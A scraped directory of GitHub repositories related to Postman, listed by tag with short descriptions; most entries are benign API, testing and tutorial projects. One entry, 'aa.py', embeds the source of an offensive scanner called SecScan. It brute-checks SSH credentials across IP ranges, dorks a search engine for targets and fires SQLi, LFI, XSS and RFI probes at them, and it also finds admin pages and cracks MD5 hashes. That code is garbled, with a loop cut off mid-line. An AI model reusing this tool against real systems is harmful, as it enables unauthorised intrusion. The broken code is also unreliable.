blog, description, script 		No description available. 0 stars 0 watchers 0 forks
anu0012/blogging-app-backend
application, backend, blog, blogging, logging 		REST APIs for a blogging application 0 stars 0 watchers 0 forks
Ayushverma8/Alexa.WithPostmanis.fun
blog, blogs, form, format, information, informational, logs, tool, tools 		Contains informational blogs and FOSS tools build with Postman Collections and Alexa 0 stars 0 watchers 0 forks
digitalbias/blog_postman
automat, automatic, automatically, blog, digital, github, pages, script 		Elixir script to merge github pages changes automatically using GitHub API v4 0 stars 0 watchers 0 forks
JoelVinayKumar/fashionDXTest
blog 		Test App for MEAN blog 0 stars 0 watchers 0 forks
k6io/example-postman-collection
blog, collection, collections, example, http, https, test, testing 		https://k6.io/blog/load-testing-with-postman-collections/ 0 stars 0 watchers 0 forks
latachz/Phoenix-1.3-simple-blog-API-and-Postman-tests
article, blog, test, tests 		Files for Medium article about creating very simple api with Postman tests. 0 stars 0 watchers 0 forks
masutaka/growthforecast_postman
blog 		Post my blog subscriber number to GrowthForecast 0 stars 0 watchers 0 forks
naqvijafar91/blogideas
account, blog, posts, user, users 		Simple blog where users can create an account and create and view posts, Approval can be done via postman by hitting the api 0 stars 0 watchers 0 forks
ranierimazili/ibmbpm_unit_tests
blog, projects, test, tests, unit 		IBM BPM and Postman projects for my blog post 0 stars 0 watchers 0 forks
Raremaa/postmanToApiHtml
blog, blogs, html, http, https, java, logs 		一个基于postman的java小工具，用于将postman导出的v1文档转换为html文档（本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html） 0 stars 0 watchers 0 forks
shwetaimanage/microblog
blog 		This project creates a web based "Server Side" mircoblog using Python and Flask. Request can be made through Postman. 0 stars 0 watchers 0 forks
skurochkin/simple_api_test
blog, test, tutorial 		Here is code for Postman blog tutorial 0 stars 0 watchers 0 forks

setup (19 listings) (Back to Top)

prashanth-sams/machine-setup
machine, setup 		Reliable Developer OSX Machine setup for QA 2 stars 2 watchers 1 forks
ktukker/adobe.io-jwt-postman
auth, authentication, setup 		Scripts and setup for the Adobe I/O Postman JWT authentication flow 0 stars 0 watchers 4 forks
Andriy-Kulak/ServerSideAuthWithNode
application, command, future, host, local, mongo, mongod, mongodb, node, setup, signup, terminal, test 		Server side setup with node that can be used for future application. To use, 1) run mongodb with 'mongod' command 2) In another terminal, run npm with 'npm run dev' 3) go to Postman and use localhost:3090/ && localhost:3090/signup && localhost:3090/signin to test the app 1 stars 1 watchers 0 forks
commercetools/commercetools-postman-collection
collection, commerce, commercetools, example, examples, setup, tool, tools 		Collection of commercetools API examples setup on top of Postman 0 stars 0 watchers 1 forks
bwainaina380/rest-api-setup
client, rest, route, routes, server, setting, setup, test, testing 		This is practice for setting up a REST API with routes and a server and testing that everything is working using Postman client 0 stars 0 watchers 0 forks
Harshrajsinh96/Crypto_APIs
action, blockchain, chai, crypto, currency, data, framework, setup, test, tested 		Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. 0 stars 0 watchers 0 forks
YoLoADR/basic-api-with-react-django
django, react, setup, test, testing 		We will setup a Django app and create a REST API with the Django Rest Framework. We will use Postman for API testing. 0 stars 0 watchers 0 forks
afreendin/DockerFlaskPythonMySQLPycharm
assignment, free, home, homework, learn, setup 		This project is a homework assignment to learn how to get Pycharm setup with Docker, Flask, MySQL, and Postman. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
BitBrew/bbhub-postman
form, initial, platform, script, scripts, select, setup 		Postman scripts for select platform APIs, to aid in initial setup. 0 stars 0 watchers 0 forks
chikeud/ReleafEval
action, application, form, format, frontend, implementation, information, list, send, setup, spec, test, tester, user 		API that allows user to add company, update company info, delete company and request a user specified number of companies based on a user specified ranking criterion. No frontend implementation so API tester or request sending application such as Postman will be needed. Installation and setup information and specific requests to achieve each of the actions listed above will be explained in detail in ReadMe. Test Eval for releaf.ng 0 stars 0 watchers 0 forks
IS-601862/PythonDockerFlaskPycharm
application, assignment, exercise, setup 		Homework assignment for hands-on exercise with application setup using Docker, Flask, MySQL and a Postman. 0 stars 0 watchers 0 forks
KaushalShah1307/api-postman-newman
collection, collections, newman, setup, test, tool 		Framework setup to test APIs, either REST or SOAP, with Postman and execute the collections using Newman, a CLI tool 0 stars 0 watchers 0 forks
liamkeegan/net-aci-setup
bridge, collection, collections, network, scratch, setup, spec 		Want to set up an ACI fabric in network-centric naming mode from scratch? Here's a handful of Postman collections that will take a Cisco ACI fabric (specifically, the ACI simulator) and setup the fabric for L2 and L3 outs, bridge domains, permit-any EPGs, and a Production VRF. 0 stars 0 watchers 0 forks
manthan2020/postman-jenkins
jenkins, running, setup 		trying to setup for running postman api using jenkins 0 stars 0 watchers 0 forks
masciugo/postman-newman-example
example, newman, setup, test 		example setup to test API with with Postman newman 0 stars 0 watchers 0 forks
piokrajewski/postmanTest
automat, automation, jenkins, newman, process, setup, test 		Basic setup of automation test process with jenkins+newman+postman 0 stars 0 watchers 0 forks
tazz74/Postman-CAS
collection, setup 		Postman collection for CAS demo and setup 0 stars 0 watchers 0 forks
xananthar/Pharmacy2U
collection, endpoint, endpoints, example, included, interface, postman collection, running, sample, setup, solution, test, tests, unit, user 		pharmacy 2U tech test solution. Please ensure the API is running on port 49516 alongside the MVC user interface. A postman collection is included with some sample invokes of endpoints on the API, and a unit tests project has been setup with an example unit test which makes use of MOQ 0 stars 0 watchers 0 forks

find (19 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
milkcarton/zipcarton
carto, codes, find, finds 		Our postman finds postal codes in Address Book. 3 stars 3 watchers 0 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
Erzender/postman_to_md_file
collection, document, file, find, markdown, script, to do, ugly 		I wasn't able to find a working script to build a markdown file out of a Postman collection to document over my API, so I made my own using the power of ugly code that works. 0 stars 0 watchers 1 forks
zachdj/rpp-algorithms
find, method, methods, tours 		Implementation of two heuristic methods to find good tours for the Rural Postman Problem (RPP) 0 stars 0 watchers 1 forks
Marqueb82/REST-CarApp
find, list, service, test, testing, updating, vehicles 		REST-Service for car management allowing viewing list of cars, finding by id, updating, deleting and adding new vehicles. Used Postman for testing of service. 0 stars 0 watchers 0 forks
potaeko/Github-Finder
course, file, find, profile, test, testing, user 		Github-Finder: to find Github user profile. Created with React context and Github API, testing with Postman from Udemy online course. 0 stars 0 watchers 0 forks
kestarumper/QRquest-backend
backend, codes, collecting, find, university 		REST API, collecting points for finding QR codes around university campus 0 stars 0 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
MahmoudNafea/task-manager-app
compass, data, database, find, heroku, host, hosting, link, manager, task 		Using Node js and MongoDB NO SQL database through MongoDB compass hosting and deployed on heroku. Kindly find the link to interact with the database through postman. 0 stars 0 watchers 0 forks
moinuddin14/oData-Batch-Postman-Demo
collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec 		I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples 0 stars 0 watchers 0 forks
NemanjaBradic/API-Testing-Examples
example, examples, find, test 		In this repository you can find examples of how to test your API with Postman. 0 stars 0 watchers 0 forks
povilaspanavas/PostmanProblemFixer
curl, enable, enables, expect, find, form, format, host, import, move 		Reformats text in cliboard. It expects to find there curl and move host from the end to the start. This enables Postman to import a coppied curl from Charles successfully. 0 stars 0 watchers 0 forks
SaharAlhabsi/CRUD-in-spring-boot-suite-and-postman
boot, find, spring 		Add ,find by id,update,find all ,delete and more. 0 stars 0 watchers 0 forks
vinitshahdeo/GitHub-Popular-Searches
find, popular, query, search 		A Postman Collection to find the popular repositories for a given search query. 0 stars 0 watchers 0 forks

validation (18 listings) (Back to Top)

stoplightio/prism
file, form, format, light, mock, server, stoplight, transform, validation 		Turn any OpenAPI2/3 and Postman Collection file into an API server with mocking, transformations and validations. 1119 stars 1119 watchers 91 forks
postmanlabs/postman-collection-transformer
collection, form, struct, structure, transform, validation, version 		Perform rapid conversion and validation of JSON structure between Postman Collection Format v1 and v2. 16 stars 16 watchers 18 forks
Inn4ki/chatapp
